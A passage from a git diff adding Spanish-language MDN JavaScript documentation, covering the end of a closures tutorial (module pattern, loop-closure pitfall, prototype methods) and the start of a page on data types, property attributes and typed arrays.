+  var privateCounter = 0;
+  function changeBy(val) {
+    privateCounter += val;
+  }
+  return {
+    increment: function() {
+      changeBy(1);
+    },
+    decrement: function() {
+      changeBy(-1);
+    },
+    value: function() {
+      return privateCounter;
+    }
+  }
+})();
+
+alert(Counter.value()); /* Muestra 0 */
+Counter.increment();
+Counter.increment();
+alert(Counter.value()); /* Muestra 2 */
+Counter.decrement();
+alert(Counter.value()); /* Muestra 1 */ </pre>
+
+<p>Hay mucho aquí. En los ejemplos anteriores cada closure ha tenido su propio entorno; aquí creamos un único entorno compartido por tres funciones: <code>Counter.increment</code>, <code>Counter.decrement</code> y <code>Counter.value</code>.</p>
+
+<p>El entorno compartido se crea en el cuerpo de una función anónima, que se ejecuta en el momento que se define. El entorno contiene dos elementos privados: una variable llamada <code>privateCounter</code> y una función llamada <code>changeBy</code>. No se puede acceder a ninguno de estos elementos privados directamente desde fuera de la función anónima. Se accede a ellos por las tres funciones públicas que se devuelven desde el contenedor anónimo.</p>
+
+<p>Esas tres funciones públicas son closures que comparten el mismo entorno. Gracias al ámbito léxico de Javascript, cada uno de ellas tienen acceso a la variable <code>privateCounter</code> y a la función <code>changeBy.</code></p>
+
+<p>En este caso hemos definido una función anónima que crea un contador, y luego la llamamos inmediatamente y asignamos el resultado a la variable <code>Counter</code>. Pero podríamos almacenar esta función en una variable independiente y utilizarlo para crear varios contadores:</p>
+
+<pre class="brush: js">var makeCounter = function() {
+  var privateCounter = 0;
+  function changeBy(val) {
+    privateCounter += val;
+  }
+  return {
+    increment: function() {
+      changeBy(1);
+    },
+    decrement: function() {
+      changeBy(-1);
+    },
+    value: function() {
+      return privateCounter;
+    }
+  }
+};
+
+var Counter1 = makeCounter();
+var Counter2 = makeCounter();
+alert(Counter1.value()); /* Muestra 0 */
+Counter1.increment();
+Counter1.increment();
+alert(Counter1.value()); /* Muestra 2 */
+Counter1.decrement();
+alert(Counter1.value()); /* Muestra 1 */
+alert(Counter2.value()); /* Muestra 0 */ </pre>
+
+<p>Ten en cuenta que cada uno de los dos contadores mantiene su independencia del otro. Su entorno durante la llamada de la función <code>makeCounter()</code> es diferente cada vez. La variable del closure llamada <code>privateCounter </code>contiene una instancia diferente cada vez.</p>
+
+<p>Utilizar closures de este modo proporciona una serie de beneficios que se asocian normalmente con la programación orientada a objectos, en particular la encapsulación y la ocultación de datos.</p>
+
+<h2 id="Creando_closures_en_loops_Un_error_común">Creando closures en loops: Un error común</h2>
+
+<p>Antes de la introducción de la palabra clave <a href="/en-US/docs/JavaScript/Reference/Statements/let" title="let"><code>let</code></a> en JavaScript 1.7, un problema común con closures ocurría cuando se creaban dentro de un bucle 'loop'. Veamos el siguiente ejemplo:</p>
+
+<pre class="brush: html">&lt;p id="help"&gt;Helpful notes will appear here&lt;/p&gt;
+&lt;p&gt;E-mail: &lt;input type="text" id="email" name="email"&gt;&lt;/p&gt;
+&lt;p&gt;Name: &lt;input type="text" id="name" name="name"&gt;&lt;/p&gt;
+&lt;p&gt;Age: &lt;input type="text" id="age" name="age"&gt;&lt;/p&gt;
+</pre>
+
+<pre class="brush: js">function showHelp(help) {
+  document.getElementById('help').innerHTML = help;
+}
+
+function setupHelp() {
+  var helpText = [
+      {'id': 'email', 'help': 'Dirección de correo electrónico'},
+      {'id': 'name', 'help': 'Nombre completo'},
+      {'id': 'age', 'help': 'Edad (debes tener más de 16 años)'}
+    ];
+
+  for (var i = 0; i &lt; helpText.length; i++) {
+    var item = helpText[i];
+    document.getElementById(item.id).onfocus = function() {
+      showHelp(item.help);
+    }
+  }
+}
+
+setupHelp();
+</pre>
+
+<p><a href="https://jsfiddle.net/v7gjv">Ver en el JSFiddle</a></p>
+
+<p>El array <code>helpText</code> define tres avisos de ayuda, cada uno asociado con el ID de un campo de entrada en el documento. El bucle recorre estas definiciones, enlazando un evento onfocus a cada uno que muestra el método de ayuda asociada.</p>
+
+<p>Si pruebas este código, verás que no funciona como esperabas. Independientemente del campo en el que se haga foco, siempre se mostrará el mensaje de ayuda relativo a la edad.</p>
+
+<p>La razón de esto es que las funciones asignadas a onfocus son closures; que constan de la definición de la función y del entorno abarcado desde el ámbito de la función <code>setupHelp</code>. Se han creado tres closures, pero todos comparten el mismo entorno. En el momento en que se ejecutan las funciones callback de onfocus, el bucle ya ha finalizado y la variable <code>item</code> (compartida por los tres closures) ha quedado apuntando a la última entrada en la lista de <code>helpText.</code></p>
+
+<p>En este caso, una solución es utilizar más closures: concretamente añadiendo una fábrica de función como se ha descrito anteriormente:</p>
+
+<pre class="brush: js">function showHelp(help) {
+  document.getElementById('help').innerHTML = help;
+}
+
+function makeHelpCallback(help) {
+  return function() {
+    showHelp(help);
+  };
+}
+
+function setupHelp() {
+  var helpText = [
+      {'id': 'email', 'help': 'Dirección de correo electrónico'},
+      {'id': 'name', 'help': 'Nombre completo'},
+      {'id': 'age', 'help': 'Edad (debes tener más de 16 años)'}
+    ];
+
+  for (var i = 0; i &lt; helpText.length; i++) {
+    var item = helpText[i];
+    document.getElementById(item.id).onfocus = makeHelpCallback(item.help);
+  }
+}
+
+setupHelp();
+</pre>
+
+<p><a href="https://jsfiddle.net/v7gjv/1">Ver en el JSFiddle</a></p>
+
+<p>Esto funciona como se esperaba. En lugar de los tres callbacks compartiendo el mismo entorno, la función <code>makeHelpCallback</code> crea un nuevo entorno para cada uno en el que <code>help</code> se refiere a la cadena correspondiente del array <code>helpText</code>.</p>
+
+<h2 id="Consideraciones_de_rendimiento">Consideraciones de rendimiento</h2>
+
+<p>No es aconsejable crear innecesariamente funciones dentro de otras funciones si no se necesitan los closures para una tarea particular ya que afectará negativamente el rendimiento del script tanto en consumo de memoria como en velocidad de procesamiento.</p>
+
+<p>Por ejemplo, cuando se crea un nuevo objeto/clase, los métodos normalmente deberían asociarse al prototipo del objeto en vez de definirse en el constructor del objeto. La razón es que con este último sistema, cada vez que se llama al constructor (cada vez que se crea un objeto) se tienen que reasignar los métodos.</p>
+
+<p>Veamos el siguente caso, que no es práctico pero sí demostrativo:</p>
+
+<pre class="brush: js">function MyObject(name, message) {
+  this.name = name.toString();
+  this.message = message.toString();
+  this.getName = function() {
+    return this.name;
+  };
+
+  this.getMessage = function() {
+    return this.message;
+  };
+}
+</pre>
+
+<p>El código anterior no aprovecha los beneficios de los closures. Podríamos modificarlo de la siguiente manera:</p>
+
+<pre class="brush: js">function MyObject(name, message) {
+  this.name = name.toString();
+  this.message = message.toString();
+}
+MyObject.prototype = {
+  getName: function() {
+    return this.name;
+  },
+  getMessage: function() {
+    return this.message;
+  }
+};
+</pre>
+
+<p>Sin embargo, no se recomienda redefinir el prototipo, así que el siguiente ejemplo es aún mejor que el anterior, porque lo que hace es añadir funcionalidad al prototipo existente:</p>
+
+<pre class="brush: js">function MyObject(name, message) {
+  this.name = name.toString();
+  this.message = message.toString();
+}
+MyObject.prototype.getName = function() {
+  return this.name;
+};
+MyObject.prototype.getMessage = function() {
+  return this.message;
+};
+</pre>
+
+<p>En los dos ejemplos anteriores, todos los objetos comparten el prototipo heredado y no se van a definir los métodos cada vez que se  crean de objetos. Ver <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model" title="en-US/docs/JavaScript/Guide/Details of the Object Model">Detalles del Modelo de Objetos</a> para más información.</p>
diff --git a/files/es/web/javascript/data_structures/index.html b/files/es/web/javascript/data_structures/index.html
new file mode 100644
index 0000000000..5c26acb53e
--- /dev/null
+++ b/files/es/web/javascript/data_structures/index.html
@@ -0,0 +1,452 @@
+---
+title: Tipos de datos y estructuras en JavaScript
+slug: Web/JavaScript/Data_structures
+tags:
+  - JavaScript
+  - Novato
+  - Principiante
+  - Tipado
+translation_of: Web/JavaScript/Data_structures
+---
+<div>{{jsSidebar("More", "Más")}}</div>
+
+<p>Todos los lenguajes de programación tienen estructuras de datos integradas, pero estas a menudo difieren de un lenguaje a otro. Este artículo intenta enumerar las estructuras de datos integradas disponibles en JavaScript y las propiedades que tienen. Estas se pueden utilizar para construir otras estructuras de datos. Siempre que es posible, se hacen comparaciones con otros lenguajes.</p>
+
+<h2 id="Tipado_dinámico">Tipado dinámico</h2>
+
+<p>JavaScript es un lenguaje <em>débilmente tipado</em> y <em>dinámico</em>. Las variables en JavaScript no están asociadas directamente con ningún tipo de valor en particular, y a cualquier variable se le puede asignar (y reasignar) valores de todos los tipos:</p>
+
+<pre class="brush: js notranslate">let foo = 42;    // foo ahora es un número
+foo     = 'bar'; // foo ahora es un string
+foo     = true;  // foo ahora es un booleano
+</pre>
+
+<h2 id="Estructuras_y_tipos_de_datos">Estructuras y tipos de datos</h2>
+
+<p>El último estándar ECMAScript define nueve tipos:</p>
+
+<ul>
+ <li>Seis <strong>tipos de datos</strong> {{Glossary("Primitive", "primitivos")}}, controlados por el {{jsxref("Operators/typeof", "operador typeof")}}
+
+  <ul>
+   <li>{{Glossary("Undefined")}}: <code>typeof instance === "undefined"</code></li>
+   <li>{{Glossary("Boolean")}}: <code>typeof instance === "boolean"</code></li>
+   <li>{{Glossary("Number")}}: <code>typeof instance === "number"</code></li>
+   <li>{{Glossary("String")}}: <code>typeof instance === "string"</code></li>
+   <li>{{Glossary("BigInt")}}: <code>typeof instance === "bigint"</code></li>
+   <li>{{Glossary("Symbol")}}: <code>typeof instance === "symbol"</code></li>
+  </ul>
+ </li>
+ <li>{{Glossary("Null")}}: <code>typeof instance === "object"</code>. Tipo {{Glossary("Primitive", "primitivo")}} especial que tiene un uso adicional para su valor: si el objeto no se hereda, se muestra <code>null</code>;</li>
+ <li>{{Glossary("Object")}}: <code>typeof instance === "object"</code>. Tipo estructural especial que no es de datos pero para cualquier instancia de objeto <a href="/es/docs/Learn/JavaScript/Objects#The_Constructor">construido</a> que también se utiliza como estructuras de datos: new {{jsxref("Object")}}, new {{jsxref("Array")}}, new {{jsxref("Map")}}, new {{jsxref("Set")}}, new {{jsxref("WeakMap")}}, new {{jsxref("WeakSet")}}, new {{jsxref("Date")}} y casi todo lo hecho con la <a href="/es/docs/Web/JavaScript/Reference/Operators/new">palabra clave <code>new</code></a>;</li>
+ <li>{{Glossary("Function")}}<span>: una estructura sin datos, aunque también responde al operador <code>typeof</code>: </span><code>typeof instance === "function"</code>. Esta simplemente es una forma abreviada para funciones, aunque cada constructor de funciones se deriva del constructor <code>Object</code>.</li>
+</ul>
+
+<p>Ten en cuenta que el único propósito valioso del uso del operador <code>typeof</code> es verificar el tipo de dato. Si deseamos verificar cualquier Tipo Estructural derivado de <code>Object</code>, no tiene sentido usar <code>typeof</code> para eso, ya que siempre recibiremos "<code>object</code>". La forma correcta de comprobar qué tipo de Objeto estamos usando es la palabra clave {{jsxref("Operators/instanceof", "instanceof")}}. Pero incluso en ese caso, puede haber conceptos erróneos.</p>
+
+<h2 id="Valores_primitivos">Valores primitivos</h2>
+
+<p>Todos los tipos, excepto los objetos, definen valores inmutables (es decir, valores que no se pueden cambiar). Por ejemplo (y a diferencia de C), las cadenas son inmutables. Nos referimos a los valores de estos tipos como "<em>valores primitivos</em>".</p>
+
+<h3 id="Tipo_Boolean">Tipo <code>Boolean</code></h3>
+
+<p><code>Boolean</code> representa una entidad lógica y puede tener dos valores: <code>true</code> y <code>false</code>. Consulta {{Glossary("Boolean")}} y {{jsxref("Boolean")}} para obtener más detalles.</p>
+
+<h3 id="Tipo_Null">Tipo <code>Null</code></h3>
+
+<p>El tipo <code>Null</code> tiene exactamente un valor: <code>null</code>. Consulta {{jsxref("null")}} y {{Glossary("Null")}} para obtener más detalles.</p>
+
+<h3 id="Tipo_Undefined">Tipo <code>Undefined</code></h3>
+
+<p>Una variable a la que no se le ha asignado un valor tiene el valor <code>undefined</code>. Consulta {{jsxref("undefined")}} y {{Glossary("Undefined")}} para obtener más detalles.</p>
+
+<h3 id="Tipo_Number">Tipo <code>Number</code></h3>
+
+<p>ECMAScript tiene dos tipos numéricos integrados: <strong><code>Number</code></strong> y <strong><code>BigInt</code></strong> (ve más abajo).</p>
+
+<p>El tipo <code>Number</code> es un <a href="https://es.wikipedia.org/wiki/Formato_en_coma_flotante_de_doble_precisión">valor en formato binario de 64 bits de doble precisión IEEE 754</a> (números entre -(2<sup>53</sup> - 1) y 2<sup>53</sup> - 1). Además de representar números de punto flotante, el tipo <code>Number</code> tiene tres valores simbólicos: <code>+Infinity</code>, <code>-Infinity</code> y {{jsxref("NaN")}} ("<strong>N</strong>ot a <strong>N</strong>umber" o No es un número).</p>
+
+<p>Para verificar el valor disponible más grande o el valor más pequeño disponible dentro de {{jsxref("Infinity", "±Infinity")}}, puedes usar las constantes {{jsxref("Number.MAX_VALUE")}} o {{jsxref("Number.MIN_VALUE")}}.</p>
+
+<div class="blockIndicator note">
+<p><strong>A partir de ECMAScript 2015</strong>, también puedes comprobar si un número está en el rango de números de punto flotante de doble precisión mediante {{jsxref("Number.isSafeInteger()")}} así como {{jsxref("Number.MAX_SAFE_INTEGER")}} y {{jsxref("Number.MIN_SAFE_INTEGER")}}.</p>
+
+<p>Más allá de este rango, los enteros en JavaScript ya no son seguros y serán una aproximación de punto flotante de doble precisión del valor.</p>
+</div>
+
+<p>El tipo <code>number</code> solo tiene un entero con dos representaciones: <code>0</code> se representa como <code>-0</code> y <code>+0</code>. (<code>0</code> es un alias de <code>+0</code>).</p>
+
+<p>En la praxis, esto casi no tiene impacto. Por ejemplo, <code>+0 === -0</code> es <code>true</code>. Sin embargo, puedes notar esto cuando divides entre cero:</p>
+
+<pre class="brush: js notranslate">&gt; 42 / +0
+Infinity
+&gt; 42 / -0
+-Infinity
+</pre>
+
+<p>Aunque un <code>number</code> a menudo representa solo su valor, JavaScript proporciona {{jsxref("Operators/Bitwise_Operators", "operadores binarios (bitwise)")}}.</p>
+
+<div class="blockIndicator note">
+<p><strong>Precaución</strong>: Aunque los operadores bit a bit se <em>pueden</em> usar para representar múltiples valores Booleanos dentro de un solo número usando el <a class="external" href="https://es.wikipedia.org/wiki/Máscara_(informática)">enmascaramiento de bits</a>, esto generalmente se considera una mala práctica. JavaScript ofrece otros medios para representar un conjunto de valores booleanos (como un arreglo de valores booleanos o un objeto con valores booleanos asignados a propiedades con nombre). El enmascaramiento de bits también tiende a hacer que el código sea más difícil de leer, comprender y mantener.</p>
+</div>
+
+<p>Posiblemente sea necesario utilizar estas técnicas en entornos muy restringidos, como cuando se intenta hacer frente a las limitaciones del almacenamiento local, o en casos extremos (como cuando cada bit de la red cuenta). Esta técnica solo se debe considerar cuando sea la última medida que se pueda tomar para optimizar el tamaño.</p>
+
+<h3 id="Tipo_BigInt">Tipo <code>BigInt</code></h3>
+
+<p>El tipo {{jsxref("BigInt")}} es un primitivo numérico en JavaScript que puede representar números enteros con precisión arbitraria. Con <code>BigInt</code>s, puedes almacenar y operar de forma segura en números enteros grandes incluso más allá del límite seguro de enteros para <code>Number</code>s.</p>
+
+<p>Un <code>BigInt</code> se crea agregando <code>n</code> al final de un número entero o llamando al constructor.</p>
+
+<p>Puedes obtener el valor más seguro que se puede incrementar con <code>Number</code>s utilizando la constante {{jsxref("Number.MAX_SAFE_INTEGER")}}. Con la introducción de <code>BigInt</code>s, puedes operar con números más allá de {{jsxref("Number.MAX_SAFE_INTEGER")}}.</p>
+
+<p>Este ejemplo demuestra, dónde, incrementando el {{jsxref("Number.MAX_SAFE_INTEGER")}} devuelve el resultado esperado:</p>
+
+<pre class="brush: js notranslate">&gt; const x = 2n ** 53n;
+9007199254740992n
+&gt; const y = x + 1n;
+9007199254740993n
+</pre>
+
+<p>Puedes utilizar los operadores <code>+</code>, <code>*</code>, <code>-</code>, <code>**</code> y <code>%</code> con <code>BigInt</code>s, igual que con <code>Number</code>s. Un <code>BigInt</code> no es estrictamente igual a un <code>Number</code>, pero lo es en términos generales.</p>
+
+<p>Un <code>BigInt</code> se comporta como un <code>Number</code> en los casos en que se convierte a <code>Boolean</code>: <code>if</code>, <code>||</code>, <code>&amp;&amp;</code>, <code>Boolean</code>, <code>!</code>.</p>
+
+<p>Los <code>BigInt</code> no se pueden utilizar indistintamente con los <code>Number</code>. En su lugar, se lanzará un {{jsxref("TypeError")}}.</p>
+
+<h3 id="Tipo_String">Tipo <code>String</code></h3>
+
+<p>El tipo {{jsxref("String")}} de JavaScript se utiliza para representar datos textuales. Es un conjunto de "elementos" de valores enteros sin signo de 16 bits. Cada elemento del <code>String</code> ocupa una posición en la cadena. El primer elemento está en el índice <code>0</code>, el siguiente en el índice <code>1</code>, y así sucesivamente. La longitud de una cadena es el número de elementos que contiene.</p>
+
+<p>A diferencia de algunos lenguajes de programación (tal como C), las cadenas de JavaScript son inmutables. Esto significa que una vez que se crea una cadena, no es posible modificarla.</p>
+
+<p>Sin embargo, todavía es posible crear otra cadena basada en una operación en la cadena original. Por ejemplo:</p>
+
+<ul>
+ <li>Una subcadena de la original seleccionando letras individuales o usando {{jsxref("String.substr()")}}.</li>
+ <li>Una concatenación de dos cadenas usando el operador de concatenación (<code>+</code>) o {{jsxref("String.concat()")}}.</li>
+</ul>
+
+<h4 id="¡Ten_cuidado_de_no_convertir_a_cadenas_tu_código!">¡Ten cuidado de no "convertir a cadenas" tu código!</h4>
+
+<p>Puede resultar tentador utilizar cadenas para representar datos complejos. Hacer esto viene con beneficios a corto plazo:</p>
+
+<ul>
+ <li>Es fácil construir cadenas complejas con concatenación.</li>
+ <li>Las cadenas son fáciles de depurar (lo que ves impreso siempre es lo que está en la cadena).</li>
+ <li>Las cadenas son el denominador común de muchas APIs (<a href="/es/docs/Web/API/HTMLInputElement" title="HTMLInputElement">campos de entrada —<code>input</code>s—</a>, <a href="/es/docs/Storage" title="Storage">valores de almacenamiento local</a>, respuestas <a href="/es/docs/Web/API/XMLHttpRequest" title="Usa objetos XMLHttpRequest (XHR) para interactuar con servidores. Puedes recuperar datos de una URL sin tener que actualizar la página completa. Esto permite que una página web actualice solo parte de su contenido sin interrumpir lo que el usuario está haciendo."><code>XMLHttpRequest</code></a> cuando se usa <code>responseText</code>, etc.) y puede resultar tentador trabajar solo con cadenas.</li>
+</ul>
+
+<p>Con las convenciones, es posible representar cualquier estructura de datos en una cadena. Esto no la convierte en una buena idea. Por ejemplo, con un separador, se podría emular una lista (mientras que un arreglo de JavaScript sería más adecuado). Desafortunadamente, cuando el separador se usa en uno de los elementos de la "lista", la lista se rompe. Se puede elegir un caracter de escape, etc. Todo esto requiere convenciones y crea una innecesaria carga de mantenimiento.</p>
+
+<p>Utiliza cadenas para datos textuales. Cuando quieras representar datos complejos, <em>procesa</em> las cadenas y usa la abstracción adecuada.</p>
+
+<h3 id="Tipo_Symbol">Tipo <code>Symbol</code></h3>
+
+<p>Un símbolo es un valor primitivo <strong>único</strong> e <strong>inmutable</strong> y se puede utilizar como clave de una propiedad de objeto (ve más abajo). En algunos lenguajes de programación, los símbolos se denominan "átomos".</p>
+
+<p>Para obtener más detalles, consulta {{Glossary("Symbol")}} y el contenedor de objetos {{jsxref("Symbol")}} en JavaScript.</p>
+
+<h2 id="Objetos">Objetos</h2>
+
+<p>En ciencias de la computación, un objeto es un valor en la memoria al que posiblemente hace referencia un {{Glossary("Identifier", "identificador")}}.</p>
+
+<h3 id="Propiedades">Propiedades</h3>
+
+<p>En JavaScript, los objetos se pueden ver como una colección de propiedades. Con la <a href="/es/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Object_literals">sintaxis de objeto literal</a>, se inicia un conjunto limitado de propiedades; luego se pueden agregar y eliminar propiedades. Los valores de propiedad pueden ser valores de cualquier tipo, incluidos otros objetos, lo que permite construir estructuras de datos complejas. Las propiedades se identifican mediante valores <em>clave</em>. Un valor <em>clave</em> es un valor de cadena o un símbolo.</p>
+
+<p>Hay dos tipos de propiedades de objeto que tienen ciertos atributos: la propiedad <em>data</em> y la propiedad <em>accessor</em>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Cada propiedad tiene <em>atributos correspondientes</em>. Los atributos, internamente los utiliza el motor JavaScript, por lo que no puedes acceder a ellos directamente. Es por eso que los atributos se enumeran entre corchetes dobles, en lugar de simples.</p>
+
+<p>Consulta {{jsxref("Object.defineProperty()")}} para obtener más información.</p>
+</div>
+
+<h4 id="Propiedad_Data">Propiedad <code>Data</code></h4>
+
+<p>Asocia una clave con un valor y tiene los siguientes atributos:</p>
+
+<table class="standard-table">
+ <caption>Atributos de una propiedad <code>data</code></caption>
+ <thead>
+  <tr>
+   <th scope="col">Atributo</th>
+   <th scope="col">Tipo</th>
+   <th scope="col">Descripción</th>
+   <th scope="col">Valor predeterminado</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>[[Value]]</td>
+   <td>Cualquier tipo de JavaScript</td>
+   <td>El valor recuperado por un captador de acceso <code>get</code> a la propiedad.</td>
+   <td><code>undefined</code></td>
+  </tr>
+  <tr>
+   <td>[[Writable]]</td>
+   <td><code>Boolean</code></td>
+   <td>Si es <code>false</code>, el [[Value]] de la propiedad no se puede cambiar.</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td>[[Enumerable]]</td>
+   <td><code>Boolean</code></td>
+   <td>
+    <p>Si es <code>true</code>, la propiedad se enumerará en bucles <a href="/es/docs/Web/JavaScript/Reference/Statements/for...in"><code>for...in</code></a>.<br>
+     Consulta también <a href="/es/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Enumerabilidad y posesión de propiedades</a>.</p>
+   </td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td>[[Configurable]]</td>
+   <td><code>Boolean</code></td>
+   <td>Si es <code>false</code>, la propiedad no se puede eliminar, no se puede cambiar a una propiedad de acceso descriptor y los atributos que no sean [[Value]] y [[Writable]] no se pueden cambiar.</td>
+   <td><code>false</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Atributos obsoletos (a partir de ECMAScript 3, renombrado en ECMAScript 5)</caption>
+ <thead>
+  <tr>
+   <th scope="col">Atributo</th>
+   <th scope="col">Tipo</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>Read-only</code></td>
+   <td><code>Boolean</code></td>
+   <td>Estado inverso del atributo ES5 [[Writable]].</td>
+  </tr>
+  <tr>
+   <td><code>DontEnum</code></td>
+   <td><code>Boolean</code></td>
+   <td>Estado inverso del atributo ES5 [[Enumerable]].</td>
+  </tr>
+  <tr>
+   <td><code>DontDelete</code></td>
+   <td><code>Boolean</code></td>
+   <td>Estado inverso del atributo ES5 [[Configurable]].</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Propiedad_Accessor">Propiedad <code>Accessor</code></h4>
+
+<p>Asocia una clave con una de las dos funciones de acceso (<code>get</code> y <code>set</code>) para recuperar o almacenar un valor y tiene los siguientes atributos:</p>
+
+<table class="standard-table">
+ <caption>Atributos de una propiedad <code>accessor</code></caption>
+ <thead>
+  <tr>
+   <th scope="col">Atributo</th>
+   <th scope="col">Tipo</th>
+   <th scope="col">Descripción</th>
+   <th scope="col">Valor predeterminado</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>[[Get]]</td>
+   <td>Objeto <code>Function</code> o <code>undefined</code></td>
+   <td>La función se llama con una lista de argumentos vacía y recupera el valor de la propiedad cada vez que se realiza un acceso al valor.<br>
+    Consulta también <a href="/es/docs/Web/JavaScript/Reference/Operators/get"><code>get</code></a>.</td>
+   <td><code>undefined</code></td>
+  </tr>
+  <tr>
+   <td>[[Set]]</td>
+   <td>Objeto <code>Function</code> o <code>undefined</code></td>
+   <td>La función se llama con un argumento que contiene el valor asignado y se ejecuta siempre que se intenta cambiar una propiedad específica.<br>
+    Consulta también <a href="/es/docs/Web/JavaScript/Reference/Operators/set"><code>set</code></a>.</td>
+   <td><code>undefined</code></td>
+  </tr>
+  <tr>
+   <td>[[Enumerable]]</td>
+   <td><code>Boolean</code></td>
+   <td>Si es <code>true</code>, la propiedad se enumerará en bucles <a href="/es/docs/Web/JavaScript/Reference/Statements/for...in"><code>for...in</code></a>.</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td>[[Configurable]]</td>
+   <td><code>Boolean</code></td>
+   <td>Si es <code>false</code>, la propiedad no se puede eliminar y no se puede cambiar a una propiedad de datos.</td>
+   <td><code>false</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Objetos_y_funciones_normales">Objetos y funciones "normales"</h3>
+
+<p>Un objeto JavaScript es una asociación entre <em>claves</em> y <em>valores</em>. Las claves son cadenas (o {{jsxref("Symbol")}}s), y los <em>valores</em> pueden ser cualquier cosa. Esto hace que los objetos se ajusten naturalmente a <a class="external" href="http://en.wikipedia.org/wiki/Hash_table"><code>hashmaps</code></a>.</p>
+
+<p>Las funciones son objetos regulares con la capacidad adicional de ser <em>invocables</em>.</p>
+
+<h3 id="Fechas">Fechas</h3>
+
+<p>Al representar fechas, la mejor opción es utilizar la utilidad <a href="/es/docs/Web/JavaScript/Reference/Global_Objects/Date"><code>Date</code> incorporada</a> en JavaScript.</p>
+
+<h3 id="Colecciones_indexadas_arreglos_y_arreglos_tipados">Colecciones indexadas: arreglos y arreglos tipados</h3>
+
+<p><a href="/es/docs/JavaScript/Reference/Global_Objects/Array" title="Array">Los arreglos</a> son objetos regulares para los que existe una relación particular entre las propiedades de clave entera y la Propiedad <code>length</code>.</p>
+
+<p>Además, los arreglos heredan de <code>Array.prototype</code>, que les proporciona un puñado de convenientes métodos para manipular arreglos. Por ejemplo, <a href="/es/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf" title="es/JavaScript/Reference/Global_Objects/Array/indexOf"><code>indexOf</code></a> (buscando un valor en el arreglo) o <a href="/es/docs/JavaScript/Reference/Global_Objects/Array/push" title="es/JavaScript/Reference/Global_Objects/Array/push"><code>push</code></a> (agrega un elemento al arreglo), y así sucesivamente. Esto hace que el <code>Array</code> sea un candidato perfecto para representar listas o conjuntos.</p>
+
+<p>Los <a href="/es/docs/Web/JavaScript/Typed_arrays">Arreglos tipados</a> son nuevos en JavaScript con ECMAScript 2015 y presentan una vista similar a un arreglo de un búfer de datos binarios subyacente. La siguiente tabla ayuda a determinar los tipos de datos equivalentes en C:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th class="header" scope="col">Tipo</th>
+   <th class="header" scope="col">Intervalo de valores</th>
+   <th class="header" scope="col">Tamaño en bytes</th>
+   <th class="header" scope="col">Descripción</th>
+   <th class="header" scope="col">Tipo de IDL web</th>
+   <th class="header" scope="col">Tipo C equivalente</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Int8Array")}}</td>
+   <td><code>-128</code> a <code>127</code></td>
+   <td>1</td>
+   <td>Dos enteros complementarios de 8 bits con signo</td>
+   <td><code>byte</code></td>
+   <td><code>int8_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint8Array")}}</td>
+   <td><code>0</code> a <code>255</code></td>
+   <td>1</td>
+   <td>Entero de 8-bit sin signo</td>
+   <td><code>octet</code></td>
+   <td><code>uint8_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint8ClampedArray")}}</td>
+   <td><code>0</code> a <code>255</code></td>
+   <td>1</td>
+   <td>Entero de 8 bits sin signo (sujeto)</td>
+   <td><code>octet</code></td>
+   <td><code>uint8_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Int16Array")}}</td>
+   <td><code>-32768</code> a <code>32767</code></td>
+   <td>2</td>
+   <td>Dos enteros complementarios de 16 bits con signo</td>
+   <td><code>short</code></td>
+   <td><code>int16_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint16Array")}}</td>
+   <td><code>0</code> a <code>65535</code></td>
+   <td>2</td>
+   <td>Entero de 16 bits sin signo</td>
+   <td><code>Short sin signo</code></td>
+   <td><code>uint16_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Int32Array")}}</td>
+   <td><code>-2147483648</code> a <code>2147483647</code></td>
+   <td>4</td>
+   <td>dos enteros complementarios de 32 bits con signo</td>
+   <td><code>long</code></td>
+   <td><code>int32_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint32Array")}}</td>
+   <td><code>0</code> a <code>4294967295</code></td>
+   <td>4</td>
+   <td>Enteros de 32 bits sin signo</td>
+   <td><code>long sin signo</code></td>
+   <td><code>uint32_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Float32Array")}}</td>
+   <td><code>1.2</code><span>×</span><code>10<sup>-38</sup></code> a <code>3.4</code><span>×</span><code>10<sup>38</sup></code></td>
+   <td>4</td>
+   <td>Número de coma flotante IEEE de 32 bits (7 dígitos significativos, p. ej., <code>1.1234567</code>)</td>
+   <td><code>float sin restricciones</code></td>
+   <td><code>float</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Float64Array")}}</td>
+   <td><code>5.0</code><span>×</span><code>10<sup>-324</sup></code> a <code>1.8</code><span>×</span><code>10<sup>308</sup></code></td>
+   <td>8</td>
+   <td>Número de coma flotante IEEE de 64 bits (16 dígitos significativos, p. ej., <code>1.123...15</code>)</td>
+   <td><code>doble sin restricciones</code></td>
+   <td><code>double</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("BigInt64Array")}}</td>
+   <td><code>-2<sup>63</sup></code> a <code>2<sup>63</sup>-1</code></td>
+   <td>8</td>
+   <td>Dos enteros complementarios de 64 bits con signo</td>
+   <td><code>bigint</code></td>
+   <td><code>int64_t (long long con signo)</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("BigUint64Array")}}</td>
+   <td><code>0</code> a <code>2<sup>64</sup>-1</code></td>
+   <td>8</td>
+   <td>Entero de 64 bits sin signo</td>
+   <td><code>bigint</code></td>
